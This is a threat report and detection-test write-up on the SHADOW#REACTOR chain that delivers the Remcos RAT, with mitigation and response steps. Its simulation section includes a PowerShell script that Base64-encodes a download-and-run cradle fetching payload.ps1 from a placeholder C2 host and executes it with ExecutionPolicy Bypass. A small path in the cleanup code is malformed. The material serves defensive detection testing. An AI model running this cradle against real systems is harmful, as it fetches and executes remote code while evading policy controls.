SHADOW#REACTOR – TEXT-ONLY STAGING, .NET REACTOR, AND IN-MEMORY REMCOS RAT DEPLOYMENT

Summary

SHADOW#REACTOR is a multi-stage Windows malware chain that combines an obfuscated VBS launcher, a PowerShell-based downloader, text-only staging artifacts, a .NET Reactor–protected loader, and MSBuild execution to ultimately deploy the Remcos remote access trojan (RAT).

Investigation

Researchers reconstructed the flow starting with a VBS script retrieved from attacker infrastructure, followed by PowerShell routines that reassemble and decode staged text payloads. The chain proceeds with reflective, in-memory loading of a .NET assembly and a final handoff to MSBuild, which triggers execution of the Remcos RAT. The write-up documents the text-encoded components, decryption logic, and persistence methods used to maintain access.

Mitigation

Increase monitoring coverage for script hosts and interpreters, and prevent VBS/PowerShell execution from user-writable paths where feasible. Add detections for suspicious outbound HTTP traffic to identified infrastructure, MSBuild misuse, and reflective .NET assembly loading. Monitor for common persistence patterns, including Run-key modifications and shortcut-based startup entries.

Response

If SHADOW#REACTOR activity is confirmed, isolate the endpoint and kill the full process chain (wscript.exe → powershell.exe → msbuild.exe). Remove any staged text files and related registry artifacts, and remediate by deleting Remcos binaries and associated configuration blobs. Follow with a thorough forensic review to scope additional compromise and ensure complete eradication.

Simulation Execution

Prerequisite: The Telemetry & Baseline Pre‑flight Check must have passed.

Rationale: This section details the precise execution of the adversary technique (TTP) designed to trigger the detection rule. The commands and narrative MUST directly reflect the TTPs identified and aim to generate the exact telemetry expected by the detection logic.

• Attack Narrative & Commands:
  An attacker with limited lateral movement rights wishes to execute a remote payload on a compromised Windows host while evading typical script‑blocking defenses. They use PowerShell with -ExecutionPolicy Bypass to ignore execution policy restrictions. The malicious payload is obfuscated as a Base64‑encoded string that, when decoded, creates a System.Net.WebClient object to download a PowerShell script from a C2 server and invoke it. This combination satisfies all three detection criteria (ExecutionPolicy Bypass, FromBase64String, System.Net.WebClient).

• Regression Test Script:

  #--------------------------------------------
  # Simulated malicious PowerShell execution
  #--------------------------------------------
  # 1. Craft a simple remote script (for demo only)
  $remoteScript = 'Invoke-Expression (New-Object System.Net.WebClient).DownloadString("http://{C2_HOST}/payload.ps1")'
  # 2. Encode the script in Base64
  $bytes = [System.Text.Encoding]::Unicode.GetBytes($remoteScript)
  $b64   = [Convert]::ToBase64String($bytes)
  # 3. Execute with ExecutionPolicy Bypass and FromBase64String
  PowerShell -ExecutionPolicy Bypass -Command "
      $decoded = [System.Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('$b64'));
      Invoke-Expression $decoded
  "

• Cleanup Commands:

  # Remove any downloaded payloads and stop lingering PowerShell processes
  Get-Process -Name powershell | Where-Object {$_.StartInfo.Arguments -match 'ExecutionPolicy Bypass'} | Stop-Process -Force
  Remove-Item -Path "C:Temppayload.ps1" -ErrorAction SilentlyContinue